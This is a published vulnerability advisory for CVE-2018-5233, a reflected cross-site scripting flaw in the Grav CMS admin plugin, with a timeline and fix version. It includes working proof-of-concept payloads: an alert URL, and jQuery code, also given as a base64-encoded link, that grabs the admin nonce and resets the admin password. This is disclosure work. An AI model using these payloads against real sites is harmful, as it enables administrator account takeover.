Grav CMS version 1.2.4 suffers from a cross site scripting vulnerability.
763363157a262edfdc03a3a4795ee264# [CVE-2018-5233] Grav CMS admin plugin Reflected Cross Site Scripting
(XSS) vulnerability
## Description
Grav CMS is a flat-file CMS using Markdown files for content management
([Official Website](https://getgrav.org/)).
It has been elected "Best Open Source CMS of 2016" by [CMS
critic](https://www.cmscritic.com/the-winner-of-best-open-source-cms-for-2016-is-grav/).
The application does not always filter user input correctly, thereby
allowing an attacker to inject arbitrary Web content in the response of
the server (reflected Cross Site Scripting).
**CVE ID**: CVE-2018-5233
**Access Vector**: remote
**Security Risk**: high
**Vulnerability**: CWE-79
**CVSS Base Score**: 7.4
**CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
## Details
On lines 355 and 358 of `system/src/Grav/Common/Twig/Twig.php`,
unfiltered user input is passed in the `$error_msg` variable.
```
$output = $this->twig->render($template, $twig_vars);
} catch (\Twig_Error_Loader $e) {
.. snip ..
throw new \RuntimeException($error_msg, 400, $e);
}
} else {
throw new \RuntimeException($error_msg, 400, $e);
}
}
```
As a result, generating an exception by accessing
`/admin/tools/someunexistingpage` and manipulating the
`someunexistingpage` part of the URL allows to inject arbitrary Web
content into the server's response.
## Proof of Concept #1
Visiting the following page:
```
/admin/tools/a--%3E%3Cimg%20src=x%20onerror=alert(1)%3E
```
will cause the execution of the `alert(1)` JavaScript code in the
context of the visitor's browser.
## Proof of Concept #2
By tricking a logged-in admin into visiting a malicious link, any
unauthenticated user can elevate its privileges to site administration.
Here follows a Proof of Concept code which:
1. Grabs the `admin-nonce` of the logged-in admin
2. Prints that nonce
3. Uses it to change the current admin's password to `Password7`
```
<script
src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<script>
adminNonce = "";
$.get( "/admin/user/admin",
function( data ) {adminNonce = $("input[name=admin-nonce]",
data).val()}).done(
function(){
alert(window.adminNonce);
$.post( "/admin/user/admin", {
"task": "save",
"admin-nonce": adminNonce,
"data[password]": "Password7"},
function(data){document.write(data)})}
);
</script>
```
Here is the base64 encoded version of the payload, injected in the
malicious link:
```
http://example.site.com/admin/tools/a--%3E%3Cimg%20src=x%20onerror=document['write'](atob('PHNjcmlwdCBzcmM9Imh0dHBzOi8vYWpheC5nb29nbGVhcGlzLmNvbS9hamF4L2xpYnMvanF1ZXJ5LzMuMi4xL2pxdWVyeS5taW4uanMiPjwvc2NyaXB0PjxzY3JpcHQ+YWRtaW5Ob25jZSA9ICIiOyQuZ2V0KCAiL2FkbWluL3VzZXIvYWRtaW4iLCBmdW5jdGlvbiggZGF0YSApIHthZG1pbk5vbmNlID0gJCgiaW5wdXRbbmFtZT1hZG1pbi1ub25jZV0iLCBkYXRhKS52YWwoKX0pLmRvbmUoZnVuY3Rpb24oKXthbGVydCh3aW5kb3cuYWRtaW5Ob25jZSk7JC5wb3N0KCAiL2FkbWluL3VzZXIvYWRtaW4iLCB7ICJ0YXNrIjogInNhdmUiLCAiYWRtaW4tbm9uY2UiOiBhZG1pbk5vbmNlLCJkYXRhW3Bhc3N3b3JkXSI6ICJQYXNzd29yZDcifSwgZnVuY3Rpb24oZGF0YSl7ZG9jdW1lbnQud3JpdGUoZGF0YSl9KX0pOzwvc2NyaXB0Pgo='))%3E
```
Now, after the attacker tricks a logged-in admin into clicking on this
link, the admin's password is changed to the attacker controlled value.
Thus, the attacker can log in with `Password7` and navigate inside the
administration interface.
## Timeline (dd/mm/yyyy)
* 01/07/2017 : Initial discovery
* 01/07/2017 : Contact with the editor (email address)
* 02/07/2017 : Editor acknowledges the report
* 02/07/2017 : Sending further details and PoC code to the editor
* 04/07/2017 : Editor fixes the vulnerability
* 15/03/2018 : Advisory publication
## Fixes
Upgrade to version 1.3.0 and above (currently 1.3.10)
## Affected versions
* Version 1.2.4 (last stable version as of 02/07/2017 - previous
versions are probably also vulnerable but not tested)
## Credits
* Kevin LOCATI <[email protected]>
--
SYSDREAM Labs <[email protected]>
GPG :
47D1 E124 C43E F992 2A2E
1551 8EB4 8CD9 D5B2 59A1
* Website: https://sysdream.com/
* Twitter: @sysdream